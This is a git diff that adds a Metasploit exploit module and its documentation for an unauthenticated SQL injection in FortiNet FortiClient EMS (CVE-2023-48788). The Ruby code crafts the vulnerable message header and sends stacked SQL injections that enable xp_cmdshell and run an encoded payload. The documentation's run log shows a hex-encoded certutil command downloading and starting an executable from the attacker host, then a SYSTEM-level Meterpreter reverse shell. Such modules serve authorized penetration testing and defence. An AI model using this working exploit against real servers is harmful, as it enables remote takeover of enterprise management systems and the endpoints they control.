diff --git a/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md new file mode 100644 index 000000000000..85cf302366d3 --- /dev/null +++ b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md @@ -0,0 +1,145 @@ +## Vulnerable Application +An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). +FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized +platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which +can be sent directly into database queries. + +FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 +and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. +In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable +SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code +execution in the context of NT AUTHORITY\SYSTEM + +Affected versions of FortiClient EMS include: + 7.2.0 through 7.2.2 + 7.0.1 through 7.0.10 + +Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. + +It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient +EMS for the necessary vulnerable services to be available. + +### Setup +You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100% +necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually +install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required +to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types: + - Task Scheduler: Automatic + - Windows Installer: Manual + - Remote Registry: Automatic + +Then either disable Windows Firewall completely or configure to allow the following inbound connections: + - File and Printer Sharing (SMB-In) + - Remote Scheduled Tasks Management (RPC) + +Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need +a FortiNet account to request a free trial. + +On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page. +Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user. +Then authenticate with the new password. +A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet +account to request a free trial. + +Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared +Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline. +A pop up window reading: "The server will need to restart..." click "Yes". + +Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN. +Click save. + +Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in. +Click Save. + +Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear. + +For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next. +For "Name" input "FCT_707" click next. +Keep all the defaults for the Features section and click next. +Keep all the defaults for the Advanced section and click next and then click Finish. + +Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host +and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the +"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable. + +## Verification Steps + +1. Start msfconsole +1. Do: `use windows/http/forticlient_ems_fctid_sqli` +1. Set the `RHOST` and `LHOST` options +1. Run the module +1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM` + +## Scenarios +### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller) +``` +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 +rhosts => 172.16.199.200 +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options + +Module options (exploit/windows/http/forticlient_ems_fctid_sqli): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8013 yes The target port (TCP) + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 8383 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:8383 +[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) +[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully +[*] Sending stage (201798 bytes) to 172.16.199.200 +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 +726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 +54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully +[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 + +meterpreter > getuid +syServer username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DC2 +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : KERBEROS +Logged On Users : 16 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb b/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb new file mode 100644 index 000000000000..35e1a26577a8 --- /dev/null +++ b/modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Tcp + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE', + 'Description' => %q{ + An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). + FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized + platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which + can be sent directly into database queries. + + FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 + and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. + In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable + SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code + execution in the context of NT AUTHORITY\SYSTEM + + Affected versions of FortiClient EMS include: + 7.2.0 through 7.2.2 + 7.0.1 through 7.0.10 + + Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. + + It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient + EMS for the necessary vulnerable services to be available. + }, + 'Author' => [ + 'Zach Hanley', # Analysis & PoC + 'James Horseman', # Analysis & PoC + 'jheysel-r7', # Msf module + 'Spencer McIntyre' # Msf module assistance + ], + 'References' => [ + [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'], + [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'], + [ 'CVE', '2023-48788'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Privileged' => true, + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-04-21', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 8013 + }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + end + + def get_register_info + register_info = <<~REGISTER_INFO + AVSIG_VER=1.00000 + REG_KEY=_ + EP_ONNETCHKSUM=0 + AVENG_VER=6.00266 + DHCP_SERVER=None + FCTOS=WIN64 + VULSIG_VER=1.00000 + FCTVER=7.0.7.0345 + APPSIG_VER=13.00364 + USER=Administrator + APPENG_VER=4.00082 + AVALSIG_VER=0.00000 + VULENG_VER=2.00032 + OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763) + COM_MODEL=VMware Virtual Platform + RSENG_VER=1.00020 + AV_PROTECTED=0 + AVALENG_VER=0.00000 + PEER_IP= + ENABLED_FEATURE_BITMAP=49 + EP_OFFNETCHKSUM=0 + INSTALLED_FEATURE_BITMAP=158583 + EP_CHKSUM=0 + HIDDEN_FEATURE_BITMAP=155943 + DISKENC= + HOSTNAME=CYBER-RETQB1FLP + AV_PRODUCT= + FCT_SN=FCT8001638848651 + INSTALLUID=#{Faker::Internet.uuid.upcase} + NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0 + UTC=1710271774 + PC_DOMAIN= + COM_MAN=VMware, Inc. + CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz + MEM=12287 + HDD=99 + COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82 + DOMAIN= + WORKGROUP=WORKGROUP + USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500 + GROUP_TAG= + ADGUID= + EP_FGTCHKSUM=0 + EP_RULECHKSUM=0 + WF_FILESCHKSUM=0 + EP_APPCTRLCHKSUM=0 + REGISTER_INFO + Rex::Text.encode_base64(register_info) + end + + def get_message(sqli) + message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n" + message << "IP=127.0.0.1\n" + message << "MAC=#{Faker::Internet.mac_address}\n" + message << "FCT_ONNET=0\n" + message << "CAPS=32767\n" + message << "VDOM=default\n" + message << "EC_QUARANTINED=0\n" + message << "SIZE= {SIZE_PLACEHOLDER}\n" + message << "\n" + message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n" + message << 'X-FCCK-REGISTER-END' + message << "\r\n" + message << "\r\n" + message.gsub!('{SQLI_PLACEHOLDER}', sqli) + message_length = message.length + message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length + message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s) + message + end + + def send_message(sqli) + message = get_message(sqli) + vprint_status("Sending the following message: #{message}") + + buf = '' + begin + connect(true, { 'SSL' => true }) + sock.put(message) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + vprint_status("The response received was: #{buf}") + buf + end + + def check + res = send_message("' OR 1=1; --") + return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL') + return CheckCode::Safe if res.include?("The FCT record doesn't exist") + + CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted") + end + + def exploit + # Things to note: + # 1. xp_cmdshell is disabled by default so first we must enable it. + # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing + # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL + # before running the command with xp_command shell. + # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which + # is when we expect the response to be empty. + inject = [ + "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", + "' OR 1=1; reconfigure;--", + "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", + "' OR 1=1; reconfigure;--", + "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--", + ] + inject.each do |sqli| + if sqli == inject.last + send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') + else + send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') + end + end + end +end